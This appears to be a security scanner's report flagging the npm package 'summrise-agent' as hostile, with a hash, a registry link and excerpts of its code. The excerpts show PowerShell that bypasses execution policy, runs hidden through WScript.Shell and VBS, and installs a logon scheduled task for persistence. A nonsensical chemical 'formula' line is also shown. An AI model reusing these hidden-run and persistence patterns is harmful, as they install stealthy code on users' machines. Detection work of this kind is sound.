Hostile ^100% javascript Download

summrise-agent 1.2.481

Mythic C2 fields, hidden persistence

“Summrise Agent — Windows device MCP server (terminal/SSH/serial) + panel. Self-hosted npm distribution.”

WScript shell runs cmd or PowerShell hiddenHidden Run of cmd or PowerShell

SHA-256942c5fc5cd15f240fffa8244c5c737d709d8a3a988b22df4924707fd50623345

URLhttps://registry.npmjs.org/summrise-agent/-/summrise-agent-1.2.481.tgz

MaleculeK₂(LiMc)O₉(C₉As₅CaDy₂IP₃PrS₃Xe₄)H₁₀(Cm₃₃Cr₇Db₂₂DsF₁₇MgOs₃₀Po₃₅Ti₄U₃)Md₆(Bi₆BkIn₆Pa₁₀Pm)Th

Evidence

Defines an object property using variables lines 7–14

7:16… enumerable: true, get: function() { return m[k]; } };
8    }
9    Object.defineProperty(o, k2, desc);
10}) : (function(o, m, k, k2) {
11    if (k2 === undefined) k2 = k;
12    o[k2] = m[k];
13}));
14var __setModuleDefault = (this && this. …

JavaScript iterates enumerable object keys lines 21–28

37… rtyNames || function (o) {
          var ar = [];
          for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
          return ar;
      };
      return ownKeys(o);
  };
  return function ( …

Calls a parenthesized function expression lines 29–45

⋯4 lines
33        return result;
34    };
35})();
36Object.defineProperty(exports, "__esModule", { value: true });
37exports.BOOT_TASKS = exports.psq = void 0;
⋯8 lines

References the WScript.Shell COM object lines 321–332

33… tart-desktop.ps1'`,
      `$dNeed = $false`,
      `if (Test-Path $dLnk) {`,
      `  try { $dEx = (New-Object -ComObject WScript.Shell).CreateShortcut($dLnk); if (($dEx.TargetPath -like '*summrise-desktop.exe') -or ($dEx.TargetPath -like '*summrise-tray.exe') -or (-not (Test-Path $dEx.TargetPath))) { $dNeed = $true } } catch { $dNeed = $true }`,
      `}`,
      `if ($dNeed -and (Test-Path $dIco) -and (Test-Path $dPs1)) {`,
      `  try { $dWs = New-Object -ComObject WScript.Shell; $dSc = $dWs.CreateShortcut($dLnk); $dSc.TargetPath = Join-Path $env:SystemRoot 'System32\\WindowsPowerShell\\v1.0\\powershell.exe'; $dSc.Arguments = '-NoProfile -ExecutionPolicy Bypass -File "' + $dPs1 + '"'; $dSc.WorkingDirectory = '${deskDirQ}'; $dSc.IconLocation = $dIco + ',0'; $dSc.Save(); 'desk: Summrise.lnk repointed to electron shell' | ${sink} } catch { ('desk: Summrise.lnk repair failed: ' + $_.Exception.Message) | ${sink} }`,
      `}`,
      `foreach ($dRx in @('summrise-desktop.exe','summrise-tray.exe')) { $dRp = '${deskDirQ}\\' + $dRx; if (Test-Path $dRp) { try { Remove-Item -Force -ErrorAction Stop $dRp; ('desk: removed retired ' + $dRx) | ${sink} } catch { ('desk: retired ' + $dRx + ' locked, kept') | ${sink} } } }`,
  ];
331}
332// expo …

Hidden Run of cmd or PowerShell lines 356–364

36… Stop'",
      `$q = '${installQ}'`,
      `$en = Join-Path $q 'scripts\\ensure-desktop.ps1'`,
      `$vb = Join-Path $q 'scripts\\desktop-pulse.vbs'`,
      `Set-Content -Path $en -Value ('if (Get-Process electron -ErrorAction SilentlyContinue) { exit }; & powershell -NoProfile -ExecutionPolicy Bypass -File "' + $q + '\\scripts\\start-desktop.ps1"') -Force`,
      `Set-Content -Path $vb -Value ('CreateObject("WScript.Shell").Run "powershell -NoProfile -ExecutionPolicy Bypass -File " & Chr(34) & "' + $en + '" & Chr(34), 0, False') -Force`,
      `$da = New-ScheduledTaskAction -Execute 'wscript.exe' -Argument ('"' + $vb + '"') -WorkingDirectory $q`,
      `$dt1 = New-ScheduledTaskTrigger -AtLogOn`,
      `$dw1 = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes …

Showing the top 5 files — 1 more file (22 regions) not shown.

No evidence locations were recorded for this file. Raw result